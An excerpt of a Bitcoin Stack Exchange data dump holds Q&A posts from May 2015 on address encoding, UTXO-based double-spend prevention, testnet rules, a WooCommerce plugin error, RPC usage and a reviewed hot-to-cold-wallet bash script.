  <row Id="37375" PostTypeId="2" ParentId="37373" CreationDate="2015-05-13T01:40:00.340" Score="10" Body="&lt;p&gt;You cannot determine (from only a base58check address) if the corresponding public key is compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;normal&quot; pay-to-public-key-hash (P2PKH) is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptographic_hash_function&quot;&gt;cryptographic hash&lt;/a&gt; of either a compressed or an uncompressed public key. Because hashes cannot be feasibly reversed, you cannot tell if the public key, before being hashed, was compressed or uncompressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, a public key in Bitcoin is a pair integers (x,y). For uncompressed public keys, these integers are encoded as 256-bit unsigned &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot;&gt;big-endian&lt;/a&gt; ints, concatenated together, and then prepended with a single 0x04 byte. The result is 65 bytes long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For compressed public keys, only the x coordinate is encoded (like above, as 256-bit unsigned big-endian int). It turns out that the y coordinate can only be one of two values, one even and one odd. Instead of prepending a single 0x04 byte, a single 0x02 or 0x03 byte is prepended depending on y's value (0x02 for even, 0x03 for odd). The result is 33 bytes long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, these bytes (from one of the two paragraphs above) go through the address conversion process described &lt;a href=&quot;https://bitcoin.org/en/developer-reference#address-conversion&quot;&gt;here in the bitcoin.org Developer Guide&lt;/a&gt;, which includes taking an irreversible cryptographic hash (actually, two hashes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in order to redeem a UTXO associated with a P2PKH address, the redeemer must create a transaction which includes the &lt;em&gt;unhashed&lt;/em&gt; public key, either compressed or uncompressed. If such a tx exists in the blockchain, it &lt;em&gt;can&lt;/em&gt; be connected to its &quot;normal&quot; base58check address. This is one of the reasons why address reuse is discouraged: once you redeem a UTXO, you &quot;reveal&quot; your public key, which is slightly more sensitive than your bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-05-13T02:14:41.493" LastActivityDate="2015-05-13T02:14:41.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37377" PostTypeId="1" AcceptedAnswerId="37380" CreationDate="2015-05-13T04:32:37.930" Score="1" ViewCount="145" Body="&lt;p&gt;I know, that a user cannot create a fork in the chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is said, that since every transaction is publicly announced, any attempt of double-spend on the same chain would be rejected as the network would know that these bitcoins have been spent previously in the chain. But how would the network determine, that these bitcoins have been spent previously because, the identity of payer and payee is not known? Only the newly created addresses are known at time of spending which can be later changed during double-spend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if Alice sends 10 BTC to Bob using 0000ab578c4 as her address and this forms part of 50th block in block chain. Now again she spents 10 BTC to Bob using another address 004325bda in the 67th block of same chain, how would the network determine that this is a double spend? (No one knows to whom 004325bda belongs).&lt;/p&gt;&#xA;" OwnerUserId="25219" LastEditorUserId="5406" LastEditDate="2015-05-13T08:28:56.207" LastActivityDate="2015-05-13T08:28:56.207" Title="How would this double spend attack be prevented?" Tags="|doublespend|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37379" PostTypeId="2" ParentId="21304" CreationDate="2015-05-13T05:28:03.410" Score="2" Body="&lt;p&gt;The comparison doesn't make sense. You can't use Bitcoin ASICs to do general computation, and using CPUs to mine Bitcoin is incredibly inefficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also isn't meaningful in terms of security: no one would try to attack Bitcoin by taking over all of the CPUs in the world. Instead, they would fabricate or buy mining ASICs. (Or, more likely, try to hack into the pool servers that miners get their work from.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-05-13T05:28:03.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37380" PostTypeId="2" ParentId="37377" CreationDate="2015-05-13T08:21:24.327" Score="2" Body="&lt;p&gt;Transactions create Unspent Transaction Outputs &lt;a href=&quot;/questions/tagged/utxo&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;utxo&amp;#39;&quot; rel=&quot;tag&quot;&gt;utxo&lt;/a&gt;. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21459/5406&quot;&gt;UTXO are uniquely identifiable.&lt;/a&gt; UTXO are indivisible, they are destroyed completely, when money is spent from them. (&lt;a href=&quot;https://bitcoin.stackexchange.com/q/736/5406&quot;&gt;Which is why you need to send change back to yourself.&lt;/a&gt;) &#xA;Naturally, this also means that you cannot chose what address you send money from, in fact the &quot;sending address&quot; only exists implicitly by being the address that received the funding payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, putting all this together, whenever someone tries to spend money, the network's nodes check if the corresponding UTXO are available to be spent, i.e. listed in the set of UTXO. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If somebody tried to spend money twice, the UTXO would have been consumed by the first transaction already, and would therefore no longer be listed in the set of UTXO.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-05-13T08:27:04.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37381" PostTypeId="2" ParentId="29540" CreationDate="2015-05-13T08:48:28.203" Score="1" Body="&lt;p&gt;use curl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;curl -s --data &quot;requestType=getAlias&amp;amp;aliasName=google&quot; &lt;a href=&quot;http://127.0.0.1:7876/nxt&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:7876/nxt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in PHP&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$cmd = 'curl -s --data &quot;requestType=getAlias&amp;amp;aliasName=google&quot; &lt;a href=&quot;http://127.0.0.1:7876/nxt&quot; rel=&quot;nofollow&quot;&gt;http://127.0.0.1:7876/nxt&lt;/a&gt;';&#xA;  $jsonString = exec($cmd);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="26465" LastActivityDate="2015-05-13T08:48:28.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37382" PostTypeId="5" CreationDate="2015-05-13T09:43:48.457" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-13T09:43:48.457" LastActivityDate="2015-05-13T09:43:48.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37383" PostTypeId="4" CreationDate="2015-05-13T09:43:48.457" Score="0" Body="Concerned with questions about decisions on how the network is run, who is in control, and how the development process is governed." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-13T09:43:48.457" LastActivityDate="2015-05-13T09:43:48.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37385" PostTypeId="1" AcceptedAnswerId="37387" CreationDate="2015-05-13T16:18:42.883" Score="0" ViewCount="153" Body="&lt;p&gt;I'm a bit confused on how testing stuff for Bitcoin on the testnet currently works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, bitcoin core 0.10 enables only 40 bytes in &lt;code&gt;OP_RETURN&lt;/code&gt;, but I'm not sure if 0.10 is the latest version allowed on the testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are &lt;code&gt;OP_RETURN&lt;/code&gt; transactions in the testnet block chain that are up to 64 bytes, as seen in this transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;transaction_hash&quot;: &quot;91615716a4d3c42cafc240b594d79782709c2c359bd0d5a1d30fa2ee8294bcd3&quot;,&#xA;  &quot;hex&quot;: &quot;37356365626362356462366363636537383565633837646134353564373332646162653661313462636362623235393338643465663163373539346232303934&quot;,&#xA;  &quot;text&quot;: &quot;75cebcb5db6ccce785ec87da455d732dabe6a14bccbb25938d4ef1c7594b2094&quot;,&#xA;  &quot;receiver_addresses&quot;: [&#xA;&#xA;  ],&#xA;  &quot;sender_addresses&quot;: [&#xA;    &quot;mmHWy49WWGFQgmeZt7wYKvWSh7Szi9XQAm&quot;&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://explorer.chain.com/transactions/91615716a4d3c42cafc240b594d79782709c2c359bd0d5a1d30fa2ee8294bcd3#!transaction-op-return&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is the code for the testnet differences within the most recent bitcoin github repo, or is it a separate repo I must download, compile, and point towards the testnet?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some clarification on how this works would be great.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="2306" LastEditDate="2015-05-13T17:24:15.823" LastActivityDate="2015-05-13T17:24:15.823" Title="Why was this transaction allowed on testnet?" Tags="|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37386" PostTypeId="1" CreationDate="2015-05-13T16:37:00.710" Score="1" ViewCount="400" Body="&lt;p&gt;I have bit coin installed on a clients wordpress site. Upon checkout, when I check Bitcoin as my payment, and click Place Order, the order does not go through and I get the following error at the top of the checkout page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CurveCurveFp Object&#xA;(&#xA;    [a:protected] =&amp;gt; 0&#xA;    [b:protected] =&amp;gt; 7&#xA;    [prime:protected] =&amp;gt; 115792089237316195423570985008687907853269984665640564039457584007908834671663&#xA;)&#xA; does not contain point ( 20139727203196486522876591193063649819462947761513549103823800141681658369 , 369049320460203173903206256216019890340108033867982827520 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the URL: &lt;a href=&quot;https://www.goldextradellc.com/checkout/&quot; rel=&quot;nofollow&quot;&gt;https://www.goldextradellc.com/checkout/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help / suggestions you can give me would be great. Thanks&lt;/p&gt;&#xA;" OwnerUserId="26473" LastEditorUserId="2306" LastEditDate="2015-05-17T07:50:00.103" LastActivityDate="2018-08-20T13:06:15.460" Title="Error in checkout while using Bitcoin Payments by BitcoinWay with WooCommerce, &quot;CurveCurveFp Object&quot;" Tags="|php|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37387" PostTypeId="2" ParentId="37385" CreationDate="2015-05-13T17:11:46.607" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, bitcoin core 0.10 enables only 40 bytes in OP_RETURN, but I'm not sure if 0.10 is the latest version allowed on the testnet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;40 bytes in OP_RETURN has always been legal. It was just non-standard, meaning that the standard client wouldn't mine or relay those transactions, but would allow them if they were already in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, testnet disables all standardness rules.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the code for the testnet differences within the most recent bitcoin github repo, or is it a separate repo I must download, compile, and point towards the testnet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's the same program with the -testnet switch passed at the command line. (Or in your bitcoin.conf. Either works.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-05-13T17:11:46.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37388" PostTypeId="2" ParentId="37386" CreationDate="2015-05-13T17:12:36.420" Score="1" Body="&lt;p&gt;FYI: this site seems to be using the &lt;a href=&quot;https://wordpress.org/plugins/bitcoin-payments-for-woocommerce/installation/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Payments for WooCommerce&lt;/a&gt; plugin. If I'm wrong, then please disregard this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin is not compatible with the current version of Electrum. Give this a try (these instructions are for Windows):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start -&gt; Run (or press the Windows key + r), then type in &lt;code&gt;%appdata%\Electrum\wallets&lt;/code&gt; and press OK.&lt;/li&gt;&#xA;&lt;li&gt;Take a backup of all of your wallet files in this folder. If you have any funds in your wallet(s) and skip this step, &lt;em&gt;you may lose those funds&lt;/em&gt;, so be &lt;em&gt;careful!&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Close this folder, and open a new one: Start -&gt; Run (or press the Windows key + r), then type in &lt;code&gt;%appdata%&lt;/code&gt; and press OK.&lt;/li&gt;&#xA;&lt;li&gt;Delete the &lt;code&gt;Electrum&lt;/code&gt; folder.&lt;/li&gt;&#xA;&lt;li&gt;Uninstall Electrum.&lt;/li&gt;&#xA;&lt;li&gt;Download and install &lt;code&gt;electrum-1.9.8-setup.exe&lt;/code&gt; from &lt;a href=&quot;https://download.electrum.org/&quot; rel=&quot;nofollow&quot;&gt;https://download.electrum.org/&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Follow the normal install instructions for the plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After you've tested it and have gotten it working, it is safe (and recommended) to upgrade Electrum to the newest version. You only need the old version when you first create your wallet. After upgrading, you can open your wallet backups you made in step 3 to access any old funds (but you &lt;em&gt;can't&lt;/em&gt; use these wallets with the plugin).&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-13T17:12:36.420" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37389" PostTypeId="1" CreationDate="2015-05-13T22:50:44.183" Score="1" ViewCount="113" Body="&lt;p&gt;Users broadcast transactions into the network.  Miners find and compete to validate blocks created every ten minutes by combining transactions.  Who or what assembles the transactions into blocks every ten minutes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: Setting the required number of leading 0s for the winning hash throttles the speed at which blocks, and therefore transactions, are validated.  Who adjusts that number?&lt;/p&gt;&#xA;" OwnerUserId="26480" LastEditorUserId="2306" LastEditDate="2015-05-14T02:18:55.583" LastActivityDate="2015-05-14T10:29:55.407" Title="Exactly Who or What Assembles Transactions into Blocks?" Tags="|block|" AnswerCount="2" CommentCount="0" ClosedDate="2015-05-17T03:18:36.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="37390" PostTypeId="2" ParentId="37389" CreationDate="2015-05-14T02:25:16.250" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Who or what assembles the transactions into blocks every ten minutes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Miners do. They do this before they attempt to find a block solution. It's the reason that miners exist.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Setting the required number of leading 0s for the winning hash throttles the speed at which blocks, and therefore transactions, are validated. Who adjusts that number?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The protocol &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated&quot;&gt;defines&lt;/a&gt; how it should change. Each node works out the current difficulty independently, and each of them comes up with the same answer. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-05-14T02:25:16.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37391" PostTypeId="1" CreationDate="2015-05-14T06:09:08.140" Score="0" ViewCount="270" Body="&lt;p&gt;i send btc in my-server created btc address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is created by &quot;getnewaddress&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get the payment also and it's shown by &quot;getbalance&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i want to see the balance by &quot;getbalance myaddress&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's not showing. what is the reason?&#xA; you anyone help me about it?&#xA;how a account will associated server created btc address?  &lt;/p&gt;&#xA;" OwnerUserId="26456" LastActivityDate="2015-05-14T12:12:07.390" Title="won't show my balance by &quot;getbalance myaddress&quot; but show balance by &quot;getbalance&quot;. what is the reason?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37392" PostTypeId="2" ParentId="8080" CreationDate="2015-05-14T08:22:12.447" Score="1" Body="&lt;p&gt;Try &lt;a href=&quot;http://blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;http://blockonomics.co&lt;/a&gt;  . I use it get email notifications and check balance, sends a nice formatted email&lt;/p&gt;&#xA;" OwnerUserId="26481" LastEditorUserId="26481" LastEditDate="2015-05-18T06:21:45.307" LastActivityDate="2015-05-18T06:21:45.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37393" PostTypeId="2" ParentId="37389" CreationDate="2015-05-14T10:29:55.407" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Who or what assembles the transactions into blocks every ten minutes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;Maybe this is also what you are wondering about: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37191/transaction-inclusion-into-block&quot;&gt;&lt;strong&gt;How are transactions included into blocks?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-05-14T10:29:55.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37395" PostTypeId="2" ParentId="37391" CreationDate="2015-05-14T12:12:07.390" Score="1" Body="&lt;p&gt;Try this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;getnewaddress&lt;/code&gt;; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;getaccount &amp;lt;result from 1&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;getbalance &amp;lt;result from 2&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For your information:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#getbalance&quot; rel=&quot;nofollow noreferrer&quot;&gt;The getbalance RPC gets the balance in decimal bitcoins &lt;strong&gt;across all accounts&lt;/strong&gt; &lt;em&gt;or&lt;/em&gt; &lt;strong&gt;for a particular account&lt;/strong&gt;.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7490/what-is-the-difference-between-accounts-and-adresses&quot;&gt;This question&lt;/a&gt; should be also helpful for you.&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-05-14T12:12:07.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37396" PostTypeId="2" ParentId="37340" CreationDate="2015-05-14T14:25:06.493" Score="0" Body="&lt;p&gt;I re-read the Bitcoin Developer Guide and re-read the help getchaintips section:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each full node in the Bitcoin network independently stores a block chain containing only &lt;strong&gt;blocks validated by that node&lt;/strong&gt;. When several nodes all have the same blocks in their block chain, they are considered to be in consensus. The validation rules these nodes follow to maintain consensus are called consensus rules.&lt;br/&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Possible values for status:&lt;br/&gt;&#xA;  [..]&lt;br/&gt;&#xA;  &quot;valid-fork&quot;:This branch is not part of the active chain, but is &lt;strong&gt;fully validated&lt;/strong&gt;&lt;br/&gt;&#xA;  [..]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For a)&lt;/strong&gt; So in order to achieve a valid-fork status for a previously invalidated block hash node0 needs to reconsider that very block hash in order to have it fully validated on its copy of blockchain. This can be achieved by &lt;code&gt;reconsiderblock &amp;lt;block hash&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;code&gt;reconsiderblock&lt;/code&gt; &lt;em&gt;apparently &quot;closes&quot; the fork since&lt;/em&gt; &lt;code&gt;getchaintips&lt;/code&gt; &lt;em&gt;returns the same block hash for the active chain tip for both nodes.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For b)&lt;/strong&gt; Nothing found out yet. &lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-05-14T15:29:16.297" LastActivityDate="2015-05-14T15:29:16.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37397" PostTypeId="1" CreationDate="2015-05-14T16:03:03.543" Score="16" ViewCount="5262" Body="&lt;p&gt;When a new transaction is received it is added to the memory pool (after checking for conflicts). While mining, only the transactions which are in the pool are considered. What happens to the transactions after they are included in a newly mined block? Are they deleted from the pool? Where is the UTXO stored? Which function handles it?&lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="208" LastEditDate="2016-12-07T19:53:02.673" LastActivityDate="2016-12-08T02:06:42.820" Title="Where is the UTXO data stored?" Tags="|bitcoind|block|bitcoin-core-development|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37398" PostTypeId="1" CreationDate="2015-05-14T16:33:40.430" Score="1" ViewCount="901" Body="&lt;p&gt;The idea is to run this via cron job at some interval and have the excess of funds transfered to cold wallet address.&#xA;So, I thought it will be easier to open source it so I can give it to the community and have it reviewed at the same time by more eyes.&#xA;It hasn't been tested yet. So, any issues you see? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/bash&#xA;BITCOINCLI=&quot;/set/path/to/bitcoin-cli&quot;&#xA;MINIMUM_TO_KEEP=0.1&#xA;RECEIVERS_ADDRESS=xxxyyyyzzzbitcoinaddress&#xA;&#xA;echo bitcoin-cli executable is: $BITCOINCLI&#xA;&#xA;tempOutput=$(mktemp)&#xA;tempOutputErr=$(mktemp)&#xA;#echo &quot;$tempOutput&quot;&#xA;#echo &quot;$tempOutputErr&quot;&#xA;&quot;$BITCOINCLI&quot; getbalance &amp;gt; &quot;$tempOutput&quot; 2&amp;gt; &quot;$tempOutputErr&quot;&#xA;&#xA;#echo &quot;output file:&quot;&#xA;#cat &quot;$tempOutput&quot; &#xA;#echo &quot;Error file:&quot;&#xA;#cat &quot;$tempOutputErr&quot;&#xA;&#xA;&#xA;outputsize=$(wc -c &quot;$tempOutput&quot; | cut -f 1 -d ' ')&#xA;if [ $outputsize -ge 1 ]; then&#xA;balance=$(cat ${tempOutput})&#xA;else&#xA;balance=XYZ&#xA;echo &quot;Error: Could not connect to server. Or some other error while tring to find balance. &quot; &#xA;rm &quot;$tempOutput&quot; &quot;$tempOutputErr&quot;&#xA;exit&#xA;fi&#xA;&#xA;echo Balance is &quot;$balance&quot;&#xA;&#xA;sendamount=$(echo &quot;            $balance  $MINIMUM_TO_KEEP  - p&quot; | tr '\n\r' ' ' | dc   )&#xA;&#xA;#echo comp = &quot;$comp&quot;  x&#xA;if [ &quot;$sendamount&quot; &amp;gt; 0 ]; then&#xA;    echo &quot;Balance is greater than the amount to be kept, which is $MINIMUM_TO_KEEP&quot;&#xA;    echo Sending &quot;$sendamount&quot; BTC to the address &quot;$RECEIVERS_ADDRESS&quot;&#xA;    &quot;$BITCOINCLI&quot; sendtoaddress $RECEIVERS_ADDRESS $sendamount &amp;gt; &quot;$tempOutput&quot; 2&amp;gt; &quot;$tempOutputErr&quot;&#xA;    outputsize=$(wc -c &quot;$tempOutputErr&quot; | cut -f 1 -d ' ')&#xA;    if [ $outputsize -ge 1 ]; then&#xA;        echo Error while executing sendtoaddress. Could not send the amount. The error is:&#xA;        cat &quot;$tempOutputErr&quot;&#xA;    fi&#xA;else&#xA;    echo &quot;Balance is less than $MINIMUM_TO_KEEP&quot;&#xA;fi&#xA;&#xA;&#xA;&#xA;&#xA;rm &quot;$tempOutput&quot; &quot;$tempOutputErr&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25296" LastEditorUserId="2306" LastEditDate="2015-05-14T17:22:03.500" LastActivityDate="2015-05-14T17:22:03.500" Title="Here is bash script that auto transfers from hot to cold wallet upon threshhold met. Do you see issues?" Tags="|bash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37400" PostTypeId="2" ParentId="7323" CreationDate="2015-05-14T17:03:28.840" Score="2" Body="&lt;p&gt;simply looking at this chart tells you that average transaction confirmation time is not 10 minutes (block confirmation is 10min)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/charts/avg-confirmation-time&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/avg-confirmation-time&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.quandl.com/data/BCHAIN/ATRCT-Bitcoin-Average-Transaction-Confirmation-Time&quot; rel=&quot;nofollow&quot;&gt;https://www.quandl.com/data/BCHAIN/ATRCT-Bitcoin-Average-Transaction-Confirmation-Time&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25231" LastActivityDate="2015-05-14T17:03:28.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37401" PostTypeId="2" ParentId="37398" CreationDate="2015-05-14T17:21:08.950" Score="3" Body="&lt;p&gt;My thoughts, in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider if you need a hot wallet at all. If you don't need to send funds, just accept them, you could probably use BIP32 to generate addresses. Downside is that this way is more complicated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should probably bail out of your script if bitcoin-cli produces any errors at all. If your Bitcoin node can't figure out its balance, then it won't be able to send a transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It seems like you detect whether bitcoin-cli failed by 1) checking if it produced output, then 2) checking to make sure that it produced no errors. Why not just use its return codes? bitcoin-cli passes on any error codes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your script will tell Bitcoin to send to your cold wallet if you have any amount of extra Bitcoin, even a single satoshi. So, if some miscreant sent you an extra satoshi every time your script ran, it would generate a transaction and pay a fee. You should have a higher threshold, like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;THRESHOLD=$(echo &quot;$MINIMUM_TO_KEEP 0.01 * p&quot; | dc)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't think that Bash can compare non-integers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if [ &quot;$sendamount&quot; &amp;gt; 0 ]; then&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what this will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11237794/how-to-compare-two-decimal-numbers-in-bash-awk&quot;&gt;https://stackoverflow.com/questions/11237794/how-to-compare-two-decimal-numbers-in-bash-awk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Include this line before the rest of your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;$BITCOINCLI&quot; getblocktemplate || exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will cause your script to bail out if your node is still synchronizing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What's with this whitespace?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendamount=$(echo &quot;            $balance&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-05-14T17:21:08.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37402" PostTypeId="1" CreationDate="2015-05-14T18:22:52.563" Score="4" ViewCount="1773" Body="&lt;p&gt;I tried to send my Bitcoins to my wallet earlier but have managed to miss the last two digits off the address when copy/pasting. The payment was sent straight away but has obviously not arrived, is there anything I can do? I have a horrible feeling I just lost all of my money to a typo, any help will be gratefully received. &lt;/p&gt;&#xA;" OwnerUserId="26486" LastActivityDate="2015-05-14T20:22:39.773" Title="Have I lost all my money to a typo?" Tags="|wallet|lost-bitcoins|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
